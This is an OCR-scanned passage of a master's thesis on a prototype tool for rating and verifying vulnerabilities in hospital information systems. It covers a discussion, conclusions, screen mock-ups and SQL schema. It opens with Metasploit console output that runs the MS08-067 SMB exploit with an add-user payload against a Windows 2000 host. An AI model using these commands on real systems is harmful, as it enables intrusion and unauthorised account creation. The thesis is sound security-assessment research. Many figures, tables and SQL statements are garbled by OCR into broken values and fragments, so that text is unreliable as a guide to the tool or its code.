[*#] Processing ../../04/shellscript/RCEX/RCxMSE-MSCOB-067.rc for ERE directives.
resource (../../04/shellscript/RCEX/RCxMSB-MSO8-067. rc)> use exploit/windows/smb/msQs_|
resource (../../04/shellscript/RCEX/RCXMSE-MSO8-067. rc)> set RHOST 10.0.2.10 r
FHOST == 10.0.2.10

resource (../../04/shellscript/RCEX/RCxMSB-MSO8-067. rc)> set payload windows/adduser
payload => windows/adduser

resource (../../04/shellscript/RCEX/RCxMSB-MS08-067.rc)> exploit

[*#] Automatically detecting the target...

[#] Fingerprint: Windows 2000 - Service Pack O - 4 - lang:English

[*#] Selected Target: Windows 2000 Universal

[#] attempting to trigger the wvulnerability...

msf exploit(ms@8 067 netapi) =

| close this Popup |

| Fle Edit view Favorites Tools  Help

Name [ Full Name [ pescription

& Compoter Management (Local} & Administrator Built-in account For administeri

11 i, System Tools R cuest Built-in account for guest acce:

(] Event Viewer G 105R_TRAINL... Internet Guest Account Built-in account For anonymou
System Information ... Launch IS Process Account  Bult-in account For Intermet In|
Perfarmance Logs and Alerts 3

% Shared Folders This User account is used by T4

Device Manager
Local Users and Groups
424 Users
Lo Groups

13 Storage

(L] Disk.Management

B4 Disk Defragmenter

=3 Logical Drives

5 Removable Storage
o8 Services and Applications

B

Hstart H & =l H [l Administrative Tools | [M)computer Mansge.... |@cumputgr T ‘@)gg_ 12,54 PM
@) & &P i vl {0 | @ [Frightcel

Figure 4.32 Result Exploit ID MS08-067
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CHAPTER V
DISCUSSION

The security assessment in Chapter 4 experimented with the prototyping
tools to support risk assessment, and the tests confirmed the wvulnerability
(Vulnerability Verification). The risk evaluation results on the information security
level of hospital case studies found the risk assessment of the two hospitals in the
study to be suitable with the environments of the case study hospitals. Before
increasing business impact, Hospital A had a moderate risk level. After the increase in
business impact, the risk level was also found to be at a moderate level. For Hospital
B, the increase in business impact before increasing the risk level was moderate. After
increasing the business impact, however, the risk level was found to be high as shown

in Figures 5.1 and 5.2.

Pre add business impact After add business impact
HIS APP HIS APP
Critical Critical
20 HISDB 30 HIS DB
note High e— |_|S note High e— |_|S
PACS PACS
Low Medium e \\ebSite/WebApp Low Medium e \\ebSite/WebApp
s INTRANET s INTRANET

Figure 5.1 Security Rating Hospitals A
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Pre add business impact After add bisiness impact
Critical Critical
2 HIS APP 2 HIS APP
note High note High

e H|S DB o H|S DB
Low Medium LIS Lo Medium LIS
e P3CS e Pacs

= \\/ebSite/WebApp WebSite/WebApp

Figure 5.2 Security Rating Hospitals B

5.1 Identify IT Systems and Business Impact

This research determined the business impact factors of information
technology systems by assessment methods based on standard guidelines (OWASP
business impact rating) to assess the business impact score by case study on hospital
information systems administered for assessing the impact level suitable for the actual
environment of the hospitals. The results obtained from the assessment of the business

impacts are represented in Table 5.1.

Table 5.1 Business Impact Rating

Impact Factor Rating
Impact
Asset/Systems (Target) Financial | Reputation Non- Privacy Rating
damage damage compliance | violation
APPLICATIONS SERVER 7 5 2 7 525
» DATABASE SERVER 7 5 2 7 525
E | WEB 3 9 2 5 4.75
éq_ LIS 3 5 2 5 375
B PACS 3 5 2 5 375
INTRANET 3 q 2 5 350
PACS 7 5 7 7 6.5
°olus 3 5 7 [ 55
% HIS 1 5 7 [ 5
? Txxx-Registry Website 1 1 T 7 q
Tele-redio Website 1 1 T 7 a4
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5.2 Risk Evaluation

5.2.1 The risk evaluation by OWASP Risk Rating Methodology can be
evaluated by comparing opportunity factors with likelihood for impact.

The likelihood is a potential event estimating the trend of a threat agent
and vulnerability based on factors such as skill level, motive, ease of discovery and the
ease of exploitation, etc.

The impact is the level of effects occurring if the attack/exploit is
successful, which can be evaluated based on business and technical impact factors
based on damage to information systems such as breaches in confidentiality, integrity,
availability and accountability, etc.

As the above risk evaluation used judgment of the evaluators, the risk
may not have been specified properly. Thus, the researcher selected the impact value
and used exploitability calculated based on the CVSS vector as the impact value. The
researcher then used exploitability as the likelihood value to simulate a calculation
prototyping model template for development which might have remained
inappropriate. To increase accuracy in future risk assessment, the likelihood value
should be leveled by collecting the occurrence/threat frequency statistics to be
implemented/improved in the risk assessment model for other further researches.

5.2.2 The prototyping tools developed in accordance with Chapter 4
supported the result files from the vulnerability scan tool supporting only the CVSS
score. And the Information Technology Security Evaluation of the prototyping tool
used a basic format in accordance with the OWASP risk assessment rating by leveling
the impact results, opportunities and risk priorities. The details are shown in Tables
3.13-3.14.

Table 3.13 OWASP Risk Level Matrix

Owerall Risk Severity
Impact High Medium
Medium Low Medium

Low Note Low Medium
Low Medium High

Likelihood




Fac. of Grad. Studies, Mahidol Univ. M.Eng. (Computer Engineering) / 87

Table 3.14 OWASP Risk Level Definition

Risk Level Definition

Website / Web applications / Host computer may be attacked by
intruders. And control information system completely. If the
vulnerability assessment Or vulnerabilities that did not make the
correction.
Website / Web applications / Host computer may be attacked by
intruders. And control information system If the vulnerability
assessment Or vulnerabilities that did not make the correction.

Website / Web applications / Host computer may be the attackers
stole information from the target device to take advantage. Or
modification sensitive information

Website / Web applications / Host computer provides information
that is useful to attacks from intruders.

However, using the exploitability value instead of the likelihood value
(likelihood) to evaluate the risk level may be simulated as a model calculation in the
tool template for development. A new impact score was calculated by using business
impact to adjust the score level for compatibility with the environment of the
information technology function. The prototyping tools showed the risk levels in both
pre- and post business impact adding.

5.3 Vulnerability Verification

In the vulnerability verification process developed in accordance with
Chapter 4, the sample prototyping model was tested to verify the vulnerability of the
Microsoft Windows operating system by using the Metasploit command line (msfcli)
and reliable reference source examples were searched and verified. The verification
results are shown in Chapter 4.3.3 and 4.3.4. Moreover, if the prototyping tool is
needed for actual use, the tool should have more references for completeness and

remaining up-to-date on a regular basis.
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CHAPTER VI
CONCLUSION AND RECOMMENDATIONS

This chapter summarizes the results of all research stages and can be

divided into the following two parts: 1) Conclusion and 2) Recommendations.

6.1 Conclusion

This research evaluated the information security of the case studies by
using a prototyping tool that supported the risk evaluation and vulnerability
verification of the tool to be developed by applying the best practices of security and
IT risk assessment. The experimental data imported from the vulnerability scan results
were used to add/adjust the score levels of business impact factors in the case study
hospitals. According to the findings, the prototyping tool was able to re-order the
levels of information security with consistent reflection of the environments at the case
study hospitals. The prototyping tool was also able to obtain an assessment report and
a security report with recommendations (risk assessment report) in order to consider
security information improvement. Moreover, the prototyping tool was able to imitate,
exploit test and display reliable reference sources. The risk assessment report is
shown in Chapter 4.3.2 and the vulnerability verification is shown in Chapter 4.3.4
and 4.3.5.

6.2 Recommendation

6.2.1 Vulnerability Assessment - The prototyping tool was developed by
using OWASP risk rating methodology and adjusted by business impact factors

obtained from the questionnaire completed by the case study hospitals’ IT security
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staff. If the function preferred appropriation, the function was able to add more factors,
including opportunity factors. The researcher used the impact score and exploitability
usage calculated based on the CVSS vector as the impact value. The exploitability
usage was applied instead of likelihood for imitation as a prototyping tool for
development which might be inappropriate. To increase accuracy in risk assessment,
further assessment should set more scoring levels on opportunity factors by collecting
the frequency statistics of the event/threat actually occurring to implement/improve the

risk assessment model for future research.

6.2.2 Vulnerability Verification - This tool supports the Metasploit
command line (msfcli) and reliable full disclosure references. In the vulnerability
verification process, the tool was able to verify the limit reference sources. For more
complete verification results, full disclosure or reference websites should be added or

updated.

6.2.3 Limitations - This research selected the results of vulnerability scan
tools only supporting the standards of the Common Vulnerability Scoring System
(CVSS). However, there are other tools that do not support CVSS such a the Open
Source Vulnerability Database (OSVDB), Common Vulnerabilities and Exposures
(CVE) etc. Although the function can use imported CSV templates, it needs to be
done with searching and configuration of the CVSS Vector. The necessary data field

for calculation of the priority risks are ranked according to the defined format.
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APPENDIX A
PROTYPE DESIGN

Prototype Design was 19 prototype models that is 1) Brow and Choose
File, 2) Import Data, 3) Result upload / Show Data, 4) Insert Data, 5) Change Data, 6)
Delete Data, 7) Show Data, 8) Find Data, 9) Decompose Data, 10) Estimate Data, 11)
Calculate Risk Value, 12) Risk Rating Mapping, 13) Show Report, 14) Export Data,
15) Print Report, 16) Details Reference, 17) Detail Exploit Code, 18) Change Details,
and 19) Testing Sample following: Figure A-1 to A-15

1. Brow and Choose File Function is the method of choose XML or CSV
Text file and read data into string data.

2. Import Data Function is the method of insert string data into database.

Main = Vuins Import = Vulns Evaluate > Risk Rep = Verify Vulns
Main Menu

Vulns Import R
L = ]

Vulns Evaluate
Open =1

Risk Report

Verify Vulns

Figure A-1 Brow and Choose File and Import Data Prototyping

3. Result upload Function is the method of show import results .

Main » Vulns Import = Vulns Evaluate * Risk Rep = Verify Vulns
Main Menu

Vulns Import R
Ll = ] ot

Vulns Evaluate

Risk Repart

° Success Or Unsuccess
Verify Vulns

Figure A-2 Result upload Prototyping
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4. Insert Data Function is the method of input data in text values and insert

data into database.

Main Menu
Vulns Import

Vulns Evaluate

Risk Report

Verify Vulns

Main > Vulns Import > Vulns Evaluate = Risk Rep = Verify Vulns

Add Vulns

Asset/IP
Vulns ID
Vulns Name
CVSS Value

Other

Figure A-3

Insert Data Prototypin_g

5. Delete Data Function is the method of find, and select

delete data in database.

[Main Menu
Vulns Import

Vulns Evaluate

Risk Report

Verify Vulns

Main > Vulns Import > Vulns Evaluate > Risk Rep > Verfy Vulns

Edit/Delete Vulns
(o
chk [Edit |VulnsID |AssetIP VulnsName £Vss Other
]2] Link {CVEQDL [ 22 e, XXX C:1T:1A:1
D Link |CVEQD2 22 e, XXX C:1T:2A:1
L—_| Link (CVEOD3 [ 3c303¢ 3600 XXX C:AT:2Aq1
1___‘ Link |CVEOD4 [ 3c3¢3¢ 363 XXX ‘C:LI:ZA:[

records and

6. Change Data Function is the method of find, and select record and

change text values and update data in database.

WMain Meny

Vulns Import

Vulns Evaluate
Risk Report

Verify Vulns

Main = Vulns Import = Vulns Evaluate = Risk Rep > Verify Vulns

Edit Vulns
Vulns ID
Asset/IP
Vulns Name

CVSS Value

Other

F‘i.gure-'A-S Change Data Prototyping

ex



Surapol Ruaysungnoen Appendices / 96

7. Show Data Function is the method of select data from tables and create

and show view records in grid.

Main > Vulns Import > Vulns Evaluate > Risk Rep > Verify Vulns -

Wain Menu
Vulns Import Vuln Details o
Vulns Evaluate =

VulnsID AssetIP VulnsName cvss Other
Risk Report CVEODL XXX XX XXX CAL:1AL
Verify Vulns CVEDD2Z XXX KK, XXX CAL:2A

€VEND3 2006200 XXX CIL2AL

€VEOD4 0K XXX CIL2AL

CVEODS X300 XXX CAL2A1

CVENDS XXH XXX XXX Cil:2A1

Figure A-6 Show Data Prototyﬁingf

8. Find Data Function is the method of find data from tables and create

and show view records in grid.

Main > Viuins Import > Vulns Evaluate > Risk Rep > Verify Vulns -
Main Meny
Vuins Import Find Details o
Vulns Evaluate rext Find =
Risk Report ValnsID AssetIP VulnsName ovss Other
= CVEDOL [— XXX CiTAl

CVEDO2 HHHHKX. XX CAT:2 Al

CVEDO3 HHHHKK, KXX CIL:2A:1

CVEDO4 EXXHKX XXX CIL:2A:1

CVED05 [—— XXX CiT2Al

CVEDO6 HHHHHX. XX CIT:2 A1

Figure_A-7 Find Data PEgto_typirﬁ
9. Find Data Function is the method of split data into 2 sections that is

impact, and likelihood data using database functions.

Vulnsld CVSS Impact Likelihood Newlmpact
CVEQD1  CWSSZHAVNACHIAUNICPINAN Function{CVSS}  Function{CVSS}
CVEDDZ CVSSZEAVNACHAWNICPINAN Function{CV55} Function{CVS5}
CVEDD3 CVSSZEAVNACHAWNICPINAN Function{CV55} Function{CVS5}
CVEDD4 CVSSZEAVNACHAWNICPINAN Function{CV55} Function{CVS5}
CVEDDS CVSSZEAVNACHAWNICPINAN Function{CV55} Function{CVS5}
CVEDDS CVSSZEAVNACHAWNICPINAN Function{CV55} Function{CVS5}
CVEDDT  CVSSZEAVNACHAWNICPINAN Function{CV55} Function{CVS5}
CVEDDS CVSSZEAVNACHAWNICPINAN Function{CV55} Function{CVS5}
CVEDDS CVSSZEAVNACHAWN/ICPINAN Function{CV55} Function{CVS5}
CVEDDM0 CVSSZEAVNACHAWN/CPINAN Function{CV55} Function{CVS5}
CVEDD11 CVSSZEAVNACHAWNICPINAN Function{CV55} Function{CVS5}
CVEDDMZ2 CVSSZEAVNACHAWN/CPINAN Function{CV55} Function{CVS5}

3= -0 - I -~ N - I -~

Figure A-8 Decompose Data Prototyping
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10. Estimate Data Function is the method of calculate, and normalize

impact, and likelihood values using database functions.

Vulnsid  Impact ImpactWule  Normipact Likelihood LikeLiVule  NormLikeli Businessimpact  Newlmpact

[No] Substing[CVSS] CAL[impact] MNorm[impactV] Substing[CVSS] CAL[Likel] MermiLikeiiv] Blmpacty Avg[impactV, Bimpactv]
CWEDOT AV:ACAu 10 9 CilA 10 9 9 9

CWEDODZ AVACAU 10 9 CilA 10 9 9 9

CWEDO3 AV:ACAu 5 4 CilA 10 9 4 4

CWEDD4 AVACAU 10 9 CilA [ 5 5 5

CWEDOS AV:ACAu 10 9 CilA 10 9 9 9

CWEDDS AV:ACAu 10 9 CilA 10 9 9 9

CWEDODT AV:AC:Au 10 9 CilA 10 9 9 9

CWEDOB AV:AC:Au [ 5 CLA 10 9 5 5

CWEDD9 AV:ACAu 10 9 CilA 10 9 9 ]

CWEDO10 AV:AC:Au 10 9 CilA 5 4 4 4

q 1 b

Figure A-9 Estimate Data Prototyping

11. Calculate Risk Value Function is the method of calculate impact and

likelihood levels using database functions.

Wulnid  Normlpact ImpactlLevel NormLikeli LikeliLevel Newlimpact Nimpactlevel RiskValues RiskValugshew

[No] Mormipact CAL[Normimpaci] NermLikeli CAL[MNormLikel] Newlmpact CAL[NewImpaci] CAL[mpactlevelLikeiLevel] CAL[NImpactLevel LikeliLevel)
CVEDO1 10 3 10 3 10 3 33 33

CVEDOZ 10 3 10 3 10 3 33 33

CVEDO3 10 3 10 3 10 <] 33 33

CVEDO4 10 3 10 3 10 3 33 33

CVEDOS 10 3 10 3 10 3 33 33

CVEDOS 10 3 10 3 10 3 33 33

CVEDOT 10 3 10 3 10 3 33 33

CVED0S 10 3 10 3 10 3 33 33

CVEDOS 10 3 10 3 10 3 33 33

| I )

Figure A-10 Calculate Risk Value Prototyping

12. Risk Rating Mapping Function is the method of calculate, and

mapping risk rating using database functions.

Vunid  Impacil ImpactRating LikeilL LikeLiRating MewimpaciL MimpactRating RiskValues RiskRating RiskValuesNew NRiskRating
MNe]  impactl CAL[mpactl] Likeil CAL[Likell] Nimpacth  CALINmpact] RiksV CALRsKY]  NewRiskV CAL[NewRiskV]
CVEDOT 3 High 3 High 3 High kx] Critical 3 Cirtical
CVED2 3 High 3 High 3 High kx] Critical 3 Cirtical
CVEDO3 3 High 3 High 3 High kx] Criical 13 Cirtical
CVEDO4 3 High 3 High 3 High kx] Criical 13 Cirtical
CVEDOS 3 High 3 High 3 High kx] Criical 13 Cirtical
CVEDE 3 High 3 High 3 High k3] Critical 13 Cirtical
CVEND7 3 High 3 High 3 High k3] Critical 13 Cirtical
CVEDOE 3 High 3 High 3 High kx] Critical 13 Cirtical
CVEDO9 3 High 3 High 3 High n Critical ki) Cirtical

4 Il }

Figure A-11 Risk Rating Mapping Prototyping
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13. Show Report Function is the method of select and summarize data and

show report chart.

Main Menu
Vulns Import
Vulns Evaluate

Risk Report

Verify Vulns

Main > Vulns Import > Vulns Evaluate = Risk Rep > Verify Vulns

Report

Critcal

Medium

High

Print Report

14. Export Data Function is the method of select data and export csv file

into local drive.

pdf file.

Main Menu

Vulns Import

Vulns Evaluate

Risk Report

Verify Vulns

] ]
Main = Vulns Import = Vulns Evaluate > Risk Rep = Verify Vulns

Export CSV File

VulnsID AssetIP VulnsName CVSs Other
CVEOO1 HHOEHHRK, HXX CAT: 1AL
[ ] CVEOQ2 KX KKK, KXX CIL:2A:1
CVEDD3 XHK KKK, XXX ClI:2A1
CVEOO4 XXX KKK, XXX CilT:2Ad
CVEOOS KK KX XXX CAT:ZA:
CVEOOG HHOEHHRK, HXX CAT:2A:0

Figure A-13 Export Data Prototyping

15. Print Report Function is the method of select, and show data and print

Main > Vulns Import > Viulns Evaluate = Risk Rep = Verify Vulns

Main Menu
Vulns Import
Print Report
Vulns Evaluate
. VulnsID AssetIP VulnsName CvVss Other

Risk Report

CVEOO1 XXHKXXK, XXX CAT:1AL
Verify Wins CVEDDZ XXHKXX, XXX CiT2Ad

CVEOD3 HXX. XXX CAT:2A:

CVEDD4 XX, XXX CAT:2A:0

CVEDDB XX, XXX GIT:2A:1

CVEDDS XXHKXXK, XXX CiT2A

Figure A-14 Print Report Prototyping
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16. Details Reference Function is the method of select record and show
details of reference or full-disclosure.

17. Detail Exploit Code Function is the method of select record, and show
details of exploit info.

Page Details Data [2lElx]

Main = Vulns Import = Vulns Evaluate = Risk Rep
Main Menu

Vulns Import Veri
Vulns Evaluate iext]

2000

HEE A \lhsk \Ass r{v insID I l lEprnH‘ !.

LT T ‘cmﬂcul‘ XXX |ch01| nk] [XXX rXXX[lmk] ‘xxx[link] \xxx[l ] ‘xxx
IHQH 1 XXX lcv&ml nk] [XXX \XXX[lmk] Ixxx[lmk] }XXX[link] lxxx
’L—’XXX [cveml k]’xxx IX)(X[lmk] ’xxx[lmk] Ixxx[li K] [xxx

Figure A-15 Details Reference and Detail Exploit Code Prototyping

18. Change Details Function is the method of select record and change or
edit text values for testing exploit code using msfconsole command of metasploit
framework.

19. Testing Sample Function is the method of testing exploit code using
msfconsole command of metasploit framework.

Pags etails Exploit code [2Elx]
Main > Vulns Import > Vulns Evaluate > Risk Rep -
Cr—
Vulns Import Verify
Test =
Vulns Evaluate fext Sl
Risk Report
s nenen { Asset [VulnsID l I {| i IExplan l
Verify Vulng | xxx ‘cvgm[\ ][ {xxx[\ ] ’xxx[l K] \XXX[I K] ‘x
l }xxx }CVEDI[\ ink] 300X \Xxx[\ ink] }xxx[l ] }xxx[l ] lx
XXX ICVEm[\ nk] [>00¢ Ixxx[\ ink] [XOOKlink] Ixxx[l K] [

Figure A-15 Change Details and Testing Sample Prototyping
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APPENDIX B
DATABASE DESIGN AND CREATE COMMAND

1) Risk Evaluate Tables and Views has 15 Table thatis 1) Main
Vulns Table, 2) Risk Desc Table, 3) Business Impact Table, 4) CVSS View, 5) OS
View, 6) Solution View, 7) Desc View, 8) MTS View, 9) CVE View, 10) Vuln View,
11) Vulnl View, 12) Vuln2 View, 13) Summary View, 14) Rep OWASP View, and
15) Rep NOWASP View following: Table B-1to B-15

1. Main Vulns Table is table for collect vulnerabilities data obtained from
the vulnerability scanning process. We can create table using SQL Command below

and data structure following: Table B-1

CREATE TABLE IF NOT EXISTS ‘'main” ( 'no” int(11) NOT NULL AUTO_INCREMENT, ‘name’ text,
‘name2” varchar(15) DEFAULT NULL, ‘tag” text, ‘name3’ text, “port” text, ‘svc_name’ text, “protocol” text,
“pluginID’ varchar(20) DEFAULT NULL, “pluginName’ text, “pluginFamily" text, “description’ text, “fname”
text, “plugin_type” text, ‘risk_factor text, “solution’ text, ‘synopsis’ text, ‘cve text, ‘cvss_base_score text,
“cvss_vector” text, “see_also” text, ‘metasploit_name’ text, PRIMARY KEY ('no’));

Table B-1 Main Vulns Table

No | Name Type Collation Null | Default | Extra
1| no int(11) No None Order Number
2 | name text utf8_general_ci Yes | NULL System Name
3 | name2 varchar(15) | utf8 general_ci | Yes | NULL IP Address
4 | tag text utf8_general_ci Yes | NULL Descriptions1
5 | name3 text utf8_general_ci | Yes | NULL Descriptions2
6 | port text utf8_general_ci Yes | NULL Port Number
7 | svc_name text utf8_general_ci Yes | NULL Service Name
8 | protocol text utf8_general_ci Yes | NULL Protocol
9 | pluginiD varchar(20) | utf8_general_ci Yes | NULL Plugin ID
10 | pluginName text utf8_general_ci Yes | NULL Plugin Name
11 | pluginFamily text utf8_general_ci Yes | NULL Plugin Family
12 | description text utf8_general_ci Yes | NULL Descriptions3
13 | fname text utf8_general_ci Yes | NULL Fname
14 | plugin_type text utf8_general_ci Yes | NULL Plugin Type
15 | risk factor text utf8_general_ci Yes | NULL Risk Factor
16 | solution text utf8_general_ci Yes | NULL Solution
17 | synopsis text utf8_general_ci Yes | NULL Synopsis
18 | cve text utf8_general ci Yes | NULL CVE Number
19 | cvss_base score text utf8_general_ci Yes | NULL CVSS Base Score
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20 | cvss_vector text utf8_general_ci Yes | NULL CVSS Vector
21 | see_also text utf8_general_ci Yes | NULL See Also
22 | metasploit_name text utf8_general_ci Yes NULL | Metasploit Name

2. Risk Desc Table is table for record risk description data We can create
table using SQL Command below and data structure following: Table B-2

| CREATE TABLE IF NOT EXISTS ‘risk” ( “risk” text, “desc’ text, PRIMARY KEY ('no"));

Table B-2 Risk Desc Table

No | Name Type Collation Null | Default | Extra
1| risk text utf8_general_ci | No | None Risk Level
2 | desc text utf8_general ci | No | None Descriptions

3. Business Impact Table is table for record risk description data We can
create table using SQL Command below and data structure following: Table B-3

CREATE TABLE IF NOT EXISTS “bia' ( “name6 varchar(15) NOT NULL, “fd" int(1) NOT NULL, “rd" int(1)
NOT NULL, “nc’ int(1) NOT NULL, “pv’ int(1) NOT NULL, UNIQUE KEY “name6" (‘name6")) ;

Table B-3 Business Impact Table

No | Name Type Collation Null | Default | Extra
1 | name6 varchar(15) tis620_thai_ci No None IP Address
o | fd int(1) No | None Financial damage
3| rd int(1) No | None Reputation damage
4| nc int(1) No | None Non-compliance
5| pv int(1) No | None Privacy violation

4. CVSS View is table view for record vulnerability data. We can create

view using SQL Command below and data structure following: Table B-4

ALTER ALGORITHM=UNDEFINED DEFINER="root'@ localhost SQL SECURITY DEFINER VIEW “cvss’
AS select ‘main’.’name” AS ‘name’,"main’."name2" AS “name2’, main’. port” AS “port’,"main’.’svc_name" AS
‘svc_name’,"main’. protocol” AS “protocol’,"main’. pluginID" AS “pluginID’,"main’. pluginName™ AS
“pluginName’,"main’. pluginFamily™ AS “pluginFamily’,"main’. cvss_vector” AS “cvss_vector” from ‘main” where
("main’."cvss_vector® <> ")

Table B-4 CVSS View

No | Name Type Collation Null Default | Extra
1 | name text utf8_general_ci Yes NULL System Name
2 | name2 varchar(15) utf8_general_ci Yes NULL IP Address
3 | port text utf8 general _ci Yes NULL Port Number
4 | svc_name text utf8_general_ci Yes NULL Service Name
5 | protocol text utf8 general _ci Yes NULL Protocol
6 | pluginlD varchar(20) utf8 general _ci Yes NULL Plugin ID
7 | pluginName | text utf8 general _ci Yes NULL Plugin Name
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pluginFamily | text utf8_general_ci Yes NULL Plugin Family
CVss_vector text utf8_general_ci Yes NULL CVSS Vector

5. OS View is table view for record Operation systems data. We can

create view using SQL Command below and data structure following: Table B-5

ALTER ALGORITHM=UNDEFINED DEFINER="root'@ localhost” SQL SECURITY DEFINER VIEW ‘o0s" AS
select ‘main’."’name2” AS "name2’,"main’."tag” AS ‘tag’, main’."name3" AS ‘name3" from “main” where
("main’.’name3" = 'operating-system'’)

Table B-5 OS View

No | Name Type Collation Null Default | Extra

1 | name2 varchar(15) utf8_general_ci Yes NULL IP Address
tag text utf8_general_ci Yes NULL Descriptionsl
Name3 text utf8_general_ci Yes NULL Descriptions2

6. Solution View is table view for record solution data. We can create

view using SQL Command below and data structure following: Table B-6

ALTER ALGORITHM=UNDEFINED DEFINER="root’@ localhost” SQL SECURITY DEFINER VIEW
“solution™ AS select distinct “main”. pluginID" AS “pluginID","main’. solution™ AS “solution™ from “main" where
("main”. solution™ <> ") order by 1

Table B-6 Solution View

No | Name Type Collation Null Default | Extra
pluginlD varchar(20) utf8_general_ci Yes NULL Plugin ID
2 | solution text utf8_general_ci Yes NULL Solution

7. Desc View is table view for record referance data. We can create view

using SQL Command below and data structure following: Table B-7

ALTER ALGORITHM=UNDEFINED DEFINER="root' @ localhost™ SQL SECURITY DEFINER VIEW “disc’
AS select distinct ‘'main”. pluginID™ AS “pluginID’,"main". see_also™ AS “see_also™ from “main” where
(‘main’."see_also™ <>")

Table B-7 Desc View

No | Name Type Collation Null Default | Extra
pluginlD varchar(20) utf8_general_ci Yes NULL Plugin ID
2 | see also text utf8_general_ci Yes NULL See Also

8. MTS View is table view for record metasploit data. We can create view

using SQL Command below and data structure following: Table B-8

ALTER ALGORITHM=UNDEFINED DEFINER="root’@ localhost” SQL SECURITY DEFINER VIEW “mts’
AS select distinct “main”."pluginID™ AS “pluginID’,"main’. metasploit_name™ AS “metasploit_name’ from ‘main’
where (‘main’. metasploit_name’ <>")
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Table B-8 MTS View

No | Name Type Collation Null Default | Extra
1 | pluginlD varchar(20) utf8_general_ci Yes NULL Plugin ID
2 | metasploit_name | text utf8_general_ci Yes NULL Metasploit Name

9. CVE View is table view for record cve data. We can create view using

SQL Command below and data structure following: Table B-9

ALTER ALGORITHM=UNDEFINED DEFINER="root'@ localhost™ SQL SECURITY DEFINER VIEW “cve"
AS select distinct ‘'main”. pluginID™ AS “pluginID’,"main’."cve” AS “cve” from “main” where ("main’. pluginID"
<>")

Table B-9 CVE View

No | Name Type Collation Null Default | Extra
pluginiD varchar(20) utf8_general_ci Yes NULL Plugin ID
2 | cve text utf8_general_ci Yes NULL CVE Number

10. Vuln View is table view for record vulnerability summary data. We

can create view using SQL Command below and data structure following: Table B-10

ALTER ALGORITHM=UNDEFINED DEFINER="root @ localhost” SQL SECURITY DEFINER VIEW “vuln’
AS select distinct ‘'main2’."name” AS "name’, main2’. ' name2" AS
“name2’,concat('main2’."svc_name’,'(’,)main2’. protocol’," main2’. port’,")") AS “service’,'main2’."tag" AS

“tag’, main2’. pluginiD" AS “pluginID’,"main2’. pluginName™ AS “pluginName","main2"."solution™ AS
“solution’,"main2"."cvss_vector” AS “cvss_vector’, main2’. metasploit_name” AS
“metasploit_name’,"main2’. see_also™ AS “see_also’, vbia'.’bi" AS "BI" from ("main2’ left join “vbia’
on(("main2’."name2" = convert("vbia’."name6" using utf8)))) where ("main2’. cvss_vector’ <>"'")

Table B-10 Vuln View

No | Name Type Collation Null | Default | Extra

1 | name text utf8_general_ci Yes | NULL | System Name

2 | name2 varchar(15) utf8_general_ci Yes | NULL | IP Address

3 | service mediumtext utf8_general_ci Yes | NULL | Service Name

4 | tag text utf8_general_ci Yes | NULL | Descriptionsl

5 | pluginiD varchar(20) utf8_general_ci Yes | NULL | Plugin ID

6 | pluginName text utf8_general_ci Yes | NULL | Plugin Name

7 | solution text utf8_general_ci Yes | NULL | Solution

8 | cvss_vector text utf8_general_ci Yes | NULL | CVSS Vector

9 | metasploit_name text utf8_general_ci Yes | NULL | Metasploit Name
10 | see_also text utf8_general_ci Yes | NULL | See Also
11 | BI decimal(17,4) Yes | NULL | Business Impact Value

11. Vulnl View is table view for record vulnerability risk determine data.

We can create view using SQL Command below and data structure following: Table

B-11
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ALTER ALGORITHM=UNDEFINED DEFINER="root'@ localhost™ SQL SECURITY DEFINER VIEW “wvuln1’
AS select “vuln™."name” AS “name’,concat('xxx.xxx.xxx.",substring_index("vuln®."name2",".",-(1))) AS
“name2’,"vuln®."name2" AS “nameip’, vuln’. service™ AS “service’, vuln’.tag” AS “tag’, vuln’. pluginIiD" AS
“pluginID’, vuln™."pluginName™ AS “pluginName’, vuln. solution™ AS “solution’, vuln’."cvss_vector’ AS
“cvss_vector’,(case substr(Cvuln®. cvss_vector®,10,1) when ‘L' then 0.395 when 'A' then 0.646 when 'N' then 1 end)
AS "AV",(case substr("vuln®. cvss_vector’,15,1) when 'H' then 0.35 when 'M' then 0.61 when 'L’ then 0.71 end) AS
“AC’,(case substr("vuln®. cvss_vector,20,1) when 'M' then 0.45 when 'S’ then 0.56 when 'N' then 0.704 end) AS
"AU",(case substr("vuln’. cvss_vector',24,1) when 'N' then 0 when 'P' then 0.275 when 'C' then 0.66 end) AS
*C’,(case substr("vuln. cvss_vector',28,1) when 'N' then 0 when 'P' then 0.275 when 'C' then 0.66 end) AS °I,(case
substr(‘vuln®."cvss_vector’,32,1) when ‘N’ then 0 when 'P' then 0.275 when 'C' then 0.66 end) AS

“A,vuln®. metasploit_name™ AS “metasploit_name’,"vuln’."see_also™ AS “see_also’, vuln".’BI" AS "BI" from
“vuln® where 1

Table B-11 Vulnl View

No | Name Type Collation Null | Default | Extra
1 | name text utf8_general_ci Yes | NULL | System Name
2 | name2 varchar(27) utf8_general_ci Yes | NULL | IP Address (hide)
3 | nameip varchar(15) utf8_general_ci Yes | NULL | IP Address
4 | service mediumtext utf8_general_ci Yes | NULL | Service Name
5 | tag text utf8_general_ci Yes | NULL | Descriptionsl
6 | pluginlD varchar(20) utf8_general_ci Yes | NULL | PluginID
7 | pluginName text utf8_general_ci Yes | NULL | Plugin Name
8 | solution text utf8_general_ci Yes | NULL | Solution
9 | cvss_vector text utf8_general_ci Yes | NULL | CVSS Vector
10 | AV decimal(4,3) Yes | NULL | Access Vector
11 | AC decimal(3,2) Yes | NULL | Access Complexity
12 | AU decimal(4,3) Yes | NULL | Authentication
13| C decimal(4,3) Yes | NULL | Confidentiality
14 |1 decimal(4,3) Yes | NULL | Integrity
15| A decimal(4,3) Yes | NULL | Availability
16 | metasploit_name text utf8_general_ci Yes | NULL | Metasploit Name
17 | see also text utf8_general_ci Yes | NULL | See Also
18 | BI decimal(17,4) Yes | NULL | Business Impact Value

12. Vuln2 View is table view for vulnerability risk values data. We can

create view using SQL Command below and data structure following: Table B-12

ALTER ALGORITHM=UNDEFINED DEFINER="root’ @ localhost” SQL SECURITY DEFINER VIEW “vuln3®
AS select “vuln2’."name” AS “name’, vuln2."name2” AS ‘name2’,"vuln2".’nameip" AS ‘nameip’, vuln2’. service’
AS “service’,"vuln2’."tag” AS “tag’, vuln2’. pluginID" AS “pluginID’, vuln2"."pluginName™ AS
“pluginName’, vuln2™. solution™ AS “solution’,"vuln2".”AV" AS "AV","vuIn2"."”AC" AS "AC’,'vuln2"."AU" AS
"AU wuIn2'.°CT AS °CTwuin2” 1 AS I wuln2 AT AS CAT wuln2 Clikht AS Clikh®vuln2imp” AS

